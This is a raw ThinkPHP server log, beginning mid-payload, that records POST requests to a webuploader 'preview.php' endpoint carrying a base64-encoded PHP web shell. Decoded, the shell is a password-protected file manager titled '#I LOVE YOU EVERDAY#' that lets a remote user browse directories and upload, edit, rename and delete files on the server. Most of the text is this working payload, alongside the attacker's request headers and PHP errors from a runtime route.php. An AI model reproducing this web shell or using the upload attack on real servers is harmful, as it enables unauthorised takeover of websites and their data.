BhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:07:01+08:00 ] 119.42.146.234 POST 59.110.137.245/Tpl/Home/default/Public/Hui/lib/webuploader/0.1.5/server/server/preview.php [运行时间:0.002820s] [吞吐率:354.61req/s] [内存消耗:196.97kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Tpl', 2 => 'Home', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC